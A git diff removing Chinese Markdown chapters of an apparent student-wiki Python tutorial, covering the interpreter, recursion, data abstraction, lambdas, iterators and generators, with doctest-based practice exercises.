是基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果。——[Jupyter](https://jupyter-notebook.readthedocs.io/en/stable/notebook.html) - -你在一个框框中直接输入代码,运行,它立马就在下面给你输出。怎么样,是不是很酷? - -[Notebook 官方介绍](https://jupyter-notebook.readthedocs.io/en/stable/notebook.html) - -可能需要你安装 anaconda,如果你不知道这是什么,请去阅读这篇文章并进行相关配置 [Anaconda](https://zhuanlan.zhihu.com/p/32925500)(STFW) - -安装完 jupyer 后,可以在终端直接输入 - -jupyter notebook - -进行使用 -::: - -![](https://cdn.xyxsw.site/boxcnfwk8gnFAHu5JzVUiugJjQe.png) - -[Pycharm](https://www.jetbrains.com/zh-cn/pycharm/):可能很多同学已经用上了,我在这里不做更多解释 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md deleted file mode 100644 index 117ef0b..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零:Python解释器.md +++ /dev/null @@ -1,61 +0,0 @@ -# 阶段零:Python 解释器 - -::: warning 😍 可参考资料 - -[官方文档](https://wiki.python.org/moin/BeginnersGuide) - -[菜鸟教程](https://www.runoob.com/python3/python3-interpreter.html) -::: - -你可以在终端与解释器进行交互 - -在终端中输入 python 即可进入解释器 - -解释器可以进行简单的表达式和语句操作 - -你可以自己把玩一下 - -```python ->>> 1 + 2 -3 -``` - -```python ->>> 3 - 2 -1 -``` - -```python ->>> 5 * 6 -30 -``` - -```python ->>> 7 / 4 -1.75 -``` - -```python ->>> 7 // 4 -1 -``` - -```python ->>> 7 % 4 -3 -``` - -```python ->>> 4 ** 3 -64 -``` - -同时可以输入 `exit``()` 或按 Ctrl+D 退出交互 - -:::: warning 🤔 同学们可能已经发现 python 这门编程语言的神奇之处了 - -在这里留一个思考题 - -为什么 python 可以做出不需要任何语句的神奇操作呢? - -别的语言可以这样吗? diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md deleted file mode 100644 index b30ce7c..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句.md +++ /dev/null @@ -1,74 +0,0 @@ -# 阶段一:熟悉语句 - -::: warning 🐱 在进行本章之前,请你谨记一个原则:基本所有的功能都被人提前实现好了 - -你需要关心的仅仅是逻辑该如何设立 - -在做本章任务前,请熟悉 python 的函数,循环和判断语句即可 -::: - -P1:请仅使用一行语句求出三个数的最小平方和 - -```python -def two_of_three(x, y, z): - """Return a*a + b*b, where a and b are the two smallest members of the - positive numbers x, y, and z. - - >>> two_of_three(1, 2, 3) - 5 - >>> two_of_three(5, 3, 1) - 10 - >>> two_of_three(10, 2, 8) - 68 - >>> two_of_three(5, 5, 5) - 50 - >>> # check that your code consists of nothing but an expression (this docstring) - >>> # and a return statement - >>> import inspect, ast - >>> [type(x).__name__ for x in ast.parse(inspect.getsource(two_of_three)).body[0].body] - ['Expr', 'Return'] - """ - return _____ -``` - -提示:可以使用 `min()` 函数哦 - -P2:下降阶乘 - -```python -def falling(n, k): - """Compute the falling factorial of n to depth k. - - >>> falling(6, 3) # 6 * 5 * 4 - 120 - >>> falling(4, 3) # 4 * 3 * 2 - 24 - >>> falling(4, 1) # 4 - 4 - >>> falling(4, 0) - 1 - """ - "*** YOUR CODE HERE ***" -``` - -P3:判断一个函数是否有两个或者两个连续的 8 - -```python -def double_eights(n): - """Return true if n has two eights in a row. - - >>> double_eights(8) - False - >>> double_eights(88) - True - >>> double_eights(2882) - True - >>> double_eights(880088) - True - >>> double_eights(12345) - False - >>> double_eights(80808080) - False - """ - "*** YOUR CODE HERE ***" -``` diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md deleted file mode 100644 index 59f856e..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md +++ /dev/null @@ -1,143 +0,0 @@ -# 阶段二:递归操作 - -什么是递归呢? - -![](https://cdn.xyxsw.site/boxcnCNpeAE9Hy61cyvtxfioIHg.png) - -## 释义 - -递归是在函数主体中重复调用函数的基本方案 - -让我们来看一个经典的例子 - -> 阶乘,即 n! =n \* (n - 1) \*...... \* 2 \* 1
例如:5! = 5 \* 4 \* 3 \* 2 \* 1 = 120. - -而阶乘的代码如下编辑 - -```python -def factorial(n): - if n == 0: - return 1 - return n * factorial(n - 1) -``` - -编写递归函数的一些小 tips: - -- 你必须假设之前的所有功能都是正确的,这种被称为:the recursive leap of faith -- 想想在最简单的情况下函数将如何跳转 -- 考虑使用问题的更简单版本来进行解决问题 - -## 任务 - -P4:编写一个递归函数 `skip_add`,它接受一个参数 n 并返回 `n + n-2 + n-4 + n-6 +...+ 0`。假设 n 是非负数。 - -```python -def skip_add(n): - """ Takes a number n and returns n + n-2 + n-4 + n-6 + ... + 0. - - >>> skip_add(5) # 5 + 3 + 1 + 0 - 9 - >>> skip_add(10) # 10 + 8 + 6 + 4 + 2 + 0 - 30 - - """ - "*** YOUR CODE HERE ***" -``` - -P5:GCD,给出两个正整数,求出两个正整数的最大公约数 - -Euclid, a Greek mathematician in 300 B.C., realized that the greatest common divisor of `a` and `b` is one of the following: - -- the smaller value if it evenly divides the larger value, or -- the greatest common divisor of the smaller value and the remainder of the larger value divided by the smaller value. - -提示:gcd(a, b) = gcd(b, a % b) - -```python -def gcd(a, b): - """Returns the greatest common divisor of a and b. - Should be implemented using recursion. - - >>> gcd(34, 19) - 1 - >>> gcd(39, 91) - 13 - >>> gcd(20, 30) - 10 - >>> gcd(40, 40) - 40 - """ - "*** YOUR CODE HERE ***"7 -``` - -P6:汉诺塔问题(选做) - -汉诺塔:汉诺塔(又称河内塔)问题是源于印度一个古老传说的益智玩具。大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着 64 片黄金圆盘。大梵天命令婆罗门把圆盘从下面开始按大小顺序重新摆放在另一根柱子上。并且规定,在小圆盘上不能放大圆盘,在三根柱子之间一次只能移动一个圆盘。 - -汉诺塔有递归和非递归两种方法,你最好选择递归的方法进行书写 - -```python -def print_move(origin, destination): - """Print instructions to move a disk.""" - print("Move the top disk from rod", origin, "to rod", destination) - -def move_stack(n, start, end): - """Print the moves required to move n disks on the start pole to the end - pole without violating the rules of Towers of Hanoi. - - n -- number of disks - start -- a pole position, either 1, 2, or 3 - end -- a pole position, either 1, 2, or 3 - - There are exactly three poles, and start and end must be different. Assume - that the start pole has at least n disks of increasing size, and the end - pole is either empty or has a top disk larger than the top n start disks. - - >>> move_stack(1, 1, 3) - Move the top disk from rod 1 to rod 3 - >>> move_stack(2, 1, 3) - Move the top disk from rod 1 to rod 2 - Move the top disk from rod 1 to rod 3 - Move the top disk from rod 2 to rod 3 - >>> move_stack(3, 1, 3) - Move the top disk from rod 1 to rod 3 - Move the top disk from rod 1 to rod 2 - Move the top disk from rod 3 to rod 2 - Move the top disk from rod 1 to rod 3 - Move the top disk from rod 2 to rod 1 - Move the top disk from rod 2 to rod 3 - Move the top disk from rod 1 to rod 3 - """ - assert 1 <= start <= 3 and 1 <= end <= 3 and start != end, "Bad start/end" - "*** YOUR CODE HERE ***" -``` - -ZZM 在这里恶意提升亿下难度,你能不能尝试理解下面这个用 C 语言写的汉诺塔呢 - -当然,是非递归! - -```c -typedef struct { - int pc, n; - char from, to, via; -} Frame; - -#define call(...) ({ *(++top) = (Frame) { .pc = 0, __VA_ARGS__ }; }) -#define ret() ({ top--; }) -#define goto(loc) ({ f->pc = (loc) - 1; }) - -void hanoi(int n, char from, char to, char via) { - Frame stk[64], *top = stk - 1; - call(n, from, to, via); - for (Frame *f; (f = top) >= stk; f->pc++) { - switch (f->pc) { - case 0: if (f->n == 1) { printf("%c -> %c\n", f->from, f->to); goto(4); } break; - case 1: call(f->n - 1, f->from, f->via, f->to); break; - case 2: call( 1, f->from, f->to, f->via); break; - case 3: call(f->n - 1, f->via, f->to, f->from); break; - case 4: ret(); break; - default: assert(0); - } - } -} -``` diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md deleted file mode 100644 index 9e0fc16..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md +++ /dev/null @@ -1,316 +0,0 @@ -# 阶段三:数据抽象 - -数据抽象 (Data Abstraction) - -::: warning 🐱 [可参考教程](https://zhuanlan.zhihu.com/p/343133774) - -各位需要认真了解以下内容,他们是构建任何大厦的基石 -::: - -## Data Abstraction - -数据抽象是一个伟大的概念,它允许程序员将代码以对象的形式进行看待,并且从更高的层面去审视问题。 - -简单来说,它可以帮助程序员不用具体去了解程序做了什么,而是更去重视它有什么用。 - -举个例子:你在开车时,如果要控制发动机的活塞怎么动,对你来说是否有些太过于困难了。因此将其抽象成了离合器,油门,刹车这些较为简单的操作。 - -## 组成 - -一个抽象的数据类型(ADT)由两个主要部分组成 - -- Constructors:架构抽象数据类型的主要函数 -- Selectors:操作数据类型的各式方法 - -## 列表与元组 - -列表是可以存储多个元素的 Python 数据结构。每个元素可以是任何类型,甚至可以是另一个列表! - -```python ->>> list_of_nums = [1, 2, 3, 4] ->>> list_of_bools = [True, True, False, False] ->>> nested_lists = [1, [2, 3], [4, [5]]] -``` - -其可以随意的增加删除或改动元素 - -元组何其差不多,但是最大的差距在于,元组是静态的,不可随意更改的,要想改动,必须重新开启一片内存空间 - -```python -tup = (1, 2, 3, 4) -new_tup = tup + (5, ) # 创建新的元组 new_tup,并依次填充原元组的值 -new _tup -(1, 2, 3, 4, 5) - -l = [1, 2, 3, 4] -l.append(5) # 添加元素 5 到原列表的末尾 -l -[1, 2, 3, 4, 5] -``` - -同时,你可以对列表和元组进行索引,甚至使用:进行切片操作,这部分内容在以后的任务会有体现 - -```python ->>> lst = [True, False, True, True, False] ->>> lst[1:4] -[False, True, True] ->>> lst[:3] # Start index defaults to 0 -[True, False, True] ->>> lst[3:] # End index defaults to len(lst) -[True, False] ->>> lst[:] # Creates a copy of the whole list -[True, False, True, True, False] -``` - -```python ->>> lst = [6, 5, 4, 3, 2, 1] ->>> lst[0] -6 ->>> lst[3] -3 -``` - -::: warning 🤔 思考题: - -列表和元组在性能上有什么差异呢? - -他们对应的使用场景有哪些呢? -::: - -## ;ltyi 字典与集合 - -字典是一系列由键(key)和值(value)配对组成的元素的集合,在 Python3.7+,字典被确定为有序 - -相比于列表和元组,字典的性能更优,特别是对于查找、添加和删除操作,字典都能在常数时间复杂度内完成。 - -而集合和字典基本相同,唯一的区别,就是集合没有键和值的配对,是一系列无序的、唯一的元素组合。 - -```python -d1 = {'name': 'jason', 'age': 20, 'gender': 'male'} -d2 = dict({'name': 'jason', 'age': 20, 'gender': 'male'}) -d3 = dict([('name', 'jason'), ('age', 20), ('gender', 'male')]) -d4 = dict(name='jason', age=20, gender='male') -d1 == d2 == d3 ==d4 -True - -s1 = {1, 2, 3} -s2 = set([1, 2, 3]) -s1 == s2 -True -``` - -当然,除了创建和访问,字典和集合也同样支持增加、删除、更新等操作。 - -```python -d = {'name': 'jason', 'age': 20} -d['gender'] = 'male' # 增加元素对'gender': 'male' -d['dob'] = '1999-02-01' # 增加元素对'dob': '1999-02-01' -d -{'name': 'jason', 'age': 20, 'gender': 'male', 'dob': '1999-02-01'} -d['dob'] = '1998-01-01' # 更新键'dob'对应的值 -d.pop('dob') # 删除键为'dob'的元素对 -'1998-01-01' -d -{'name': 'jason', 'age': 20, 'gender': 'male'} - -s = {1, 2, 3} -s.add(4) # 增加元素 4 到集合 -s -{1, 2, 3, 4} -s.remove(4) # 从集合中删除元素 4 -s -{1, 2, 3} -``` - -::: warning 🤔 思考题: - -字典和集合分别是什么原理呢? - -字典可以是一个列表吗?为什么? -::: - -## 可变性 - -我们说如果一个对象可以由代码进行操作而改变那么我们称其具有可变性。 - -可变对象的示例包括列表和字典。不可变对象的示例包括元组和函数。 - -我们假定已经知道了如何使用 `==` 运算符来检查两个表达式的计算结果是否**相同**。 - -我们现在引入一个新的比较运算符 `is`,它检查两个表达式的计算结果是否**相同**。 - -```python ->>> 2 + 2 == 3 + 1 -True ->>> 2 + 2 is 3 + 1 -True -``` - -有什么不同呢? - -```python ->>> large_num1 = 23333333333333333333 ->>> large_num2 = 23333333333333333333 ->>> large_num1 == large_num2 -True ->>> large_num1 is large_num2 -False ->>> lst1 = [1, 2, 3, 4] ->>> lst2 = [1, 2, 3, 4] ->>> lst1 == lst2 -True ->>> lst1 is lst2 -False -``` - -欸?为什么最后一个不一样了? - -其实原因是,你创建的两个列表虽然内容相同,但是毕竟是两个不同的列表,其在内存空间上并不一样。 - -这在讨论可变性的时候非常重要,当我们改变一个数的值的时候这非常重要 - -```python ->>> lst1 = [1, 2, 3, 4] ->>> lst2 = lst1 ->>> lst1.append(5) ->>> lst2 -[1, 2, 3, 4, 5] ->>> lst1 is lst2 -True -``` - -::: warning 🤔 思考题,你能否从指针的角度去理解可变性呢? -::: - -## 任务 - -P7:9*9 乘法表 - -可能现在对你来说,构建像下图这样的 99 乘法表已经是非常容易的一件事了,可是如果我要求你使用 python 的列表推导式 (list comprehension),在两行以内完成呢? - -![](https://cdn.xyxsw.site/boxcnccDSRQj5W3lZWEUkCOHz2b.png) - -P8:couple 情侣 - -实现函数 `couple`,它接受两个列表并返回一个列表,其中包含两个序列的第 i 个元素耦合在一起的列表。您可以假设两个序列的长度相同。 -tips:zip(list1,list2) - -```python -def couple(lst1, lst2): - """Return a list that contains lists with i-th elements of two sequences - coupled together. - >>> lst1 = [1, 2, 3] - >>> lst2 = [4, 5, 6] - >>> couple(lst1, lst2) - [[1, 4], [2, 5], [3, 6]] - >>> lst3 = ['c', 6] - >>> lst4 = ['s', '1'] - >>> couple(lst3, lst4) - [['c', 's'], [6, '1']] - """ - assert len(lst1) == len(lst2) - "*** YOUR CODE HERE ***" -``` - -P 8.5:对城市数据抽象 - -假设我们有一个城市的抽象数据类型。城市有名称、纬度坐标和经度坐标。 - -这是我们构造城市的函数 - -make_city(name, lat, lon) - -构建一个城市对象有经纬度和名字 - -- `get_name(city)`:返回城市名称 -- `get_lat(city)`:返回城市的纬度 -- `get_lon(city)`:返回城市的经度 - -```python ->>> nanjing = make_city('Nanjing', 31, 118) ->>> get_name(nanjing) -'Nanjing' ->>> get_lat(nanjing) -31 ->>> beijing = make_city('Beijing', 39, 116) ->>> get_lon(beijing) -116 -``` - -```python -def make_city(name, lat, lon): - """ - >>> city = make_city('Berkeley', 0, 1 - >>> get_name(city) - 'Berkeley - >>> get_lat(city) - 0 - >>> get_lon(city) - 1 - """ - return [name, lat, lon] - -def get_name(city): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_name(city) - 'Berkeley' - """ - return city[0] - -def get_lat(city): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_lat(city) - 0 - """ - return city[1] - -def get_lon(city): - """ - >>> city = make_city('Berkeley', 0, 1) - >>> get_lon(city) - 1 - """ - return city[2] -``` - -首先你试试求出两个地方的距离。 - -`(x2, y2)` 可以通过计算 的 sqrt 来找到 `(x1 - x2)**2 + (y1 - y2)**2`。`sqrt` 我们引用了 - -```python -from math import sqrt -def distance(city1, city2): - """ - >>> city1 = make_city('city1', 0, 1) - >>> city2 = make_city('city2', 0, 2) - >>> distance(city1, city2) - 1.0 - >>> city3 = make_city('city3', 6.5, 12) - >>> city4 = make_city('city4', 2.5, 15) - >>> distance(city3, city4) - 5.0 - """ - "*** YOUR CODE HERE ***" -``` - -实现 `closer_city` 一个函数,该函数接受一个纬度、经度和两个城市,并返回与提供的经纬度相对较近的城市名称。 - -```python -def closer_city(lat, lon, city1, city2): - """ - Returns the name of either city1 or city2, whichever is closest to - coordinate (lat, lon). - - >>> berkeley = make_city('Berkeley', 37.87, 112.26) - >>> stanford = make_city('Stanford', 34.05, 118.25) - >>> closer_city(38.33, 121.44, berkeley, stanford) - 'Stanford' - >>> bucharest = make_city('Bucharest', 44.43, 26.10) - >>> vienna = make_city('Vienna', 48.20, 16.37) - >>> closer_city(41.29, 174.78, bucharest, vienna) - 'Bucharest' - """ - "*** YOUR CODE HERE ***" -``` diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md deleted file mode 100644 index e4ca206..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四:高阶函数.md +++ /dev/null @@ -1,152 +0,0 @@ -# 阶段四:高阶函数 - -::: warning 🐱 阅读以及完成本部分内容可以帮助你有效减少代码冗余。 - -让你完成更为优雅的代码 - -各位要记住的是 - -代码首先是给人看的 - -机器看的永远只是你的机器码。 - -可参考教程 [Lambda](https://zhuanlan.zhihu.com/p/80960485) -::: - -## Lambda 介绍 - -Lambda 表达式是通过指定两件事来评估函数的表达式:参数和返回表达式。 - -请尝试阅读以下英文表格,对比函数与 lambda 表达式的不同 - -## Lambda 实验 - -以下代码 python 会显示什么?通过对这些代码的实验,加深你对代码的学习 - -提示:当你对解释器输入 x 或 x=none 时什么都没有 - -```python ->>> lambda x: x # A lambda expression with one parameter x -______ - ->>> a = lambda x: x # Assigning the lambda function to the name a ->>> a(5) -______ - ->>> (lambda: 3)() # Using a lambda expression as an operator in a call exp. -______ - ->>> b = lambda x: lambda: x # Lambdas can return other lambdas! ->>> c = b(88) ->>> c -______ - ->>> c() -______ - ->>> d = lambda f: f(4) # They can have functions as arguments as well. ->>> def square(x): -... return x * x ->>> d(square) -______ -``` - -```python ->>> higher_order_lambda = lambda f: lambda x: f(x) ->>> g = lambda x: x * x ->>> higher_order_lambda(2)(g) # Which argument belongs to which function call? -______ - ->>> higher_order_lambda(g)(2) -______ - ->>> call_thrice = lambda f: lambda x: f(f(f(x))) ->>> call_thrice(lambda y: y + 1)(0) -______ - ->>> print_lambda = lambda z: print(z) # When is the return expression of a lambda expression executed? ->>> print_lambda -______ - ->>> one_thousand = print_lambda(1000) -______ - ->>> one_thousand -______ -``` - -## 任务 - -P9:我们发现以下两个函数看起来实现的非常相似,是否可以进行改进,将其整合? - -```python -def count_factors(n): - """Return the number of positive factors that n has. - >>> count_factors(6) - 4 # 1, 2, 3, 6 - >>> count_factors(4) - 3 # 1, 2, 4 - """ - i, count = 1, 0 - while i <= n: - if n % i == 0: - count += 1 - i += 1 - return count - -def count_primes(n): - """Return the number of prime numbers up to and including n. - >>> count_primes(6) - 3 # 2, 3, 5 - >>> count_primes(13) - 6 # 2, 3, 5, 7, 11, 13 - """ - i, count = 1, 0 - while i <= n: - if is_prime(i): - count += 1 - i += 1 - return count - -def is_prime(n): - return count_factors(n) == 2 # only factors are 1 and n -``` - -需求: - -你需要通过自己写一个函数: `count_cond` ,来接受一个含有两个参数的函数 `condition(n, i)`(使用 lambda 表达式), - -且`condition`函数应该满足第一个参数为 N,而第二个参数将会在`condition`函数中遍历 1 to N。 - -`count_cond` 将返回一个单参数函数 (ps:一个匿名函数),此单参数函数将会在被调用时返回 1 to N 中所有满足`condition`的数字的个数 (如:1 到 n 中素数的个数)。 - -```python -def count_cond(condition): - """Returns a function with one parameter N that counts all the numbers from - 1 to N that satisfy the two-argument predicate function Condition, where - the first argument for Condition is N and the second argument is the - number from 1 to N. - - >>> count_factors = count_cond(lambda n, i: n % i == 0) - >>> count_factors(2) # 1, 2 - 2 - >>> count_factors(4) # 1, 2, 4 - 3 - >>> count_factors(12) # 1, 2, 3, 4, 6, 12 - 6 - - >>> is_prime = lambda n, i: count_factors(i) == 2 - >>> count_primes = count_cond(is_prime) - >>> count_primes(2) # 2 - 1 - >>> count_primes(3) # 2, 3 - 2 - >>> count_primes(4) # 2, 3 - 2 - >>> count_primes(5) # 2, 3, 5 - 3 - >>> count_primes(20) # 2, 3, 5, 7, 11, 13, 17, 19 - 8 - """ - "*** YOUR CODE HERE ***" -``` diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md deleted file mode 100644 index cc2567f..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五:迭代生成.md +++ /dev/null @@ -1,241 +0,0 @@ -# 阶段五:迭代生成 - -## 前言 - -在写乘法表的时候,你可能写过类似 - -```python -for i in [2, 3, 5, 7, 11, 13]: print(i) -``` - -这样的语句。for in 语句理解起来很直观形象,比起 C++ 和 java 早期的 - -```c -for (int i = 0; i < n; i ++) -``` - -这样的语句,不知道简洁清晰到哪里去了。 - -但是,你想过 Python 在处理 for in 语句的时候,具体发生了什么吗?什么样的对象可以被 for in 来枚举呢? - -## 容器迭代 - -容器这个概念非常好理解。 - -在 Python 中一切皆对象,对象的抽象就是类,而对象的集合就是容器。 - -列表`list: [0, 1, 2]`,元组`tuple: (0, 1, 2)`,字典`dict: {0:0, 1:1, 2:2}`,集合`set: set([0, 1, 2])`都是容器。 - -对于容器,你可以很直观地想象成多个元素在一起的单元;而不同容器的区别,正是在于内部数据结构的实现方法。 - -然后,你就可以针对不同场景,选择不同时间和空间复杂度的容器。所有的容器都是可迭代的(iterable)。 - -```python -iterator = iter(iterable) - while True: - elem = next(iterator) - # do something -``` - -- 首先,在可迭代对象上调用内置 `iter` 函数以创建对应的*迭代器*。 -- 要获取序列中的下一个元素,在此迭代器上调用内置 `next` 函数。 - -如果没有下一个元素了,怎么办? - -我们需要对这种异常进行处理。 - -思考题:什么是异常处理,为什么要进行异常处理?有什么好处? - -多次调用 `iter` 可迭代对象每次都会返回一个具有不同状态的新迭代器 - -你也可以调用 `iter` 迭代器本身,它只会返回相同的迭代器而不改变它的状态。但是,请注意,您不能直接在可迭代对象上调用 next。 - -```python ->>> lst = [1, 2, 3, 4] ->>> next(lst) # Calling next on an iterable -TypeError: 'list' object is not an iterator ->>> list_iter = iter(lst) # Creates an iterator for the list ->>> list_iter - ->>> next(list_iter) # Calling next on an iterator -1 ->>> next(list_iter) # Calling next on the same iterator -2 ->>> next(iter(list_iter)) # Calling iter on an iterator returns itself -3 ->>> list_iter2 = iter(lst) ->>> next(list_iter2) # Second iterator has new state -1 ->>> next(list_iter) # First iterator is unaffected by second iterator -4 ->>> next(list_iter) # No elements left! -StopIteration ->>> lst # Original iterable is unaffected -[1, 2, 3, 4] -``` - -## 英语练习,对迭代器的类比 - -**Analogy**: An iterable is like a book (one can flip through the pages) and an iterator for a book would be a bookmark (saves the position and can locate the next page). Calling `iter` on a book gives you a new bookmark independent of other bookmarks, but calling `iter` on a bookmark gives you the bookmark itself, without changing its position at all. Calling `next` on the bookmark moves it to the next page, but does not change the pages in the book. Calling `next` on the book wouldn't make sense semantically. We can also have multiple bookmarks, all independent of each other. - -## 生成器:懒人迭代器! - -```python -def test_iterator(): - show_memory_info('initing iterator') - list_1 = [i for i in range(100000000)] - show_memory_info('after iterator initiated') - print(sum(list_1)) - show_memory_info('after sum called') - -def test_generator(): - show_memory_info('initing generator') - list_2 = (i for i in range(100000000)) - show_memory_info('after generator initiated') - print(sum(list_2)) - show_memory_info('after sum called') - -%time test_iterator() -%time test_generator() - -########## 输出 ########## - -initing iterator memory used: 48.9765625 MB -after iterator initiated memory used: 3920.30078125 MB -4999999950000000 -after sum called memory used: 3920.3046875 MB -Wall time: 17 s -initing generator memory used: 50.359375 MB -after generator initiated memory used: 50.359375 MB -4999999950000000 -after sum called memory used: 50.109375 MB -Wall time: 12.5 s -``` - -声明一个迭代器很简单,[i for i in range(100000000)]就可以生成一个包含一亿元素的列表。每个元素在生成后都会保存到内存中,你通过代码可以看到,它们占用了巨量的内存,内存不够的话就会出现 OOM 错误。 - -::: warning 🤔 了解下 yield()函数吧,他可以返回一个生成器对象,试试看懂这个 -::: - -```python ->>> def gen_list(lst): -... yield from lst -... ->>> g = gen_list([1, 2, 3, 4]) ->>> next(g) -1 ->>> next(g) -2 ->>> next(g) -3 ->>> next(g) -4 ->>> next(g) -StopIteration -``` - -## 思考题:python 会显示什么?为什么? - -```python ->>> s = [1, 2, 3, 4] ->>> t = iter(s) ->>> next(s) -______ - ->>> next(t) -______ - ->>> next(t) -______ - ->>> iter(s) -______ - ->>> next(iter(s)) -______ - ->>> next(iter(t)) -______ - ->>> next(iter(s)) -______ - ->>> next(iter(t)) -______ - ->>> next(t) -______ -``` - -```python ->>> r = range(6) ->>> r_iter = iter(r) ->>> next(r_iter) -______ - ->>> [x + 1 for x in r] -______ - ->>> [x + 1 for x in r_iter] -______ - ->>> next(r_iter) -______ - ->>> list(range(-2, 4)) # Converts an iterable into a list -______ -``` - -## 任务 - -P10:实现 `count`,它接受一个迭代器 `t` 并返回该值 `x` 出现在的前 n 个元素中的次数 `t` - -```python -def count(t, n, x): - """Return the number of times that x appears in the first n elements of iterator t. - - >>> s = iter([10, 9, 10, 9, 9, 10, 8, 8, 8, 7]) - >>> count(s, 10, 9) - 3 - >>> s2 = iter([10, 9, 10, 9, 9, 10, 8, 8, 8, 7]) - >>> count(s2, 3, 10) - 2 - >>> s = iter([3, 2, 2, 2, 1, 2, 1, 4, 4, 5, 5, 5]) - >>> count(s, 1, 3) - 1 - >>> count(s, 4, 2) - 3 - >>> next(s) - 2 - >>> s2 = iter([4, 1, 6, 6, 7, 7, 8, 8, 2, 2, 2, 5]) - >>> count(s2, 6, 6) - 2 - """ - "*** YOUR CODE HERE ***" -``` - -P11:实现生成器函数 `scale(it, multiplier)`,它产生给定迭代的元素 `it`,按 `multiplier`. - -同时也希望你尝试使用 `yield from` 语句编写这个函数! - -```python -def scale(it, multiplier): - """Yield elements of the iterable it scaled by a number multiplier. - - >>> m = scale(iter([1, 5, 2]), 5) - >>> type(m) - - >>> list(m) - [5, 25, 10] - >>> # generators allow us to represent infinite sequences!!! - >>> def naturals(): - ... i = 0 - ... while True: - ... yield i - ... i += 1 - >>> m = scale(naturals(), 2) - >>> [next(m) for _ in range(5)] - [0, 2, 4, 6, 8] - """ - "*** YOUR CODE HERE ***" -``` diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语.md deleted file mode 100644 index d70bdb5..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语.md +++ /dev/null @@ -1,41 +0,0 @@ -# 结语 - -## 感觉学了不少内容,又感觉什么都没学? - -确实,这也是学习过程中一个非常普遍存在的状态,你学了五个非常重要的 python 语言的特性,但是在你用他们真正来优化代码解决代码之前,你都无法真正的掌握他们。 - -那为什么要学呢? - -非常核心的一点在于,你以后面对困难的问题的时候,将他不断分解,成为一个个独立的小问题的时候,你也许会想起你之前在某文档内,有一个简单的教程曾经将某种神奇的方法一笔带过,这也许会提供给你意想不到的解决问题的思路和方法。 - -同时,python 的核心特性就这些吗?远远不止呢,这些只是你入手其的敲门砖,我在下面会列举一些别的特性,你可以自行前去了解,也可以等到你真正遇到问题的时候去思考? - -## 为什么没有突出面向对象 - -因为代码量实在是太少了,当你去理解面向对象的时候的伟大意义时,最好与 C 语言这种面向过程的语言进行对比,不过,如果你完成了我们的文字冒险小游戏的时候,你可能会有非常深刻的体验。 - -## 还有什么是我值得注意的? - -这些内容值得你去学习与思考,但是碍于各种因素,我暂时没有详细介绍 - -- 面向对象编程 -- 深浅拷贝 -- 值传递 -- 装饰器 -- metaclass -- GIL -- 垃圾回收机制 -- 协程 -- 数不清的各种框架和包!!! - -如果有机会,我会继续补充相关内容 - -值得一提的是:后面人工智能模块,我们将以 python 为主去进行编程,这对完成了所有任务的你一定是 a piece of cake! - -## 一些不错的补充 - -[WTF for python](https://github.com/robertparley/wtfpython-cn) - -[真正的 python 教程](https://realpython.com/) - -[python100 天](https://github.com/jackfrued/Python-100-Days) diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun.md deleted file mode 100644 index c5f7df7..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun.md +++ /dev/null @@ -1,9 +0,0 @@ -# Python for fun - -值得一提的是,Python 是面向对象的编程语言,与你之前书写的 C 语言(面向过程)有非常多的不同。 - -我们为什么要选择要使用 Python 来首先讲解面向对象这个概念? - -究竟什么是面向对象?为什么面向对象? - -这值得你在书写 Python 代码中思考并尝试将其思想融会贯通到编码风格中去。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python(灵巧的胶水).md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python(灵巧的胶水).md deleted file mode 100644 index affafd8..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python(灵巧的胶水).md +++ /dev/null @@ -1,7 +0,0 @@ -# 3.6Python(灵巧的胶水) - -Python 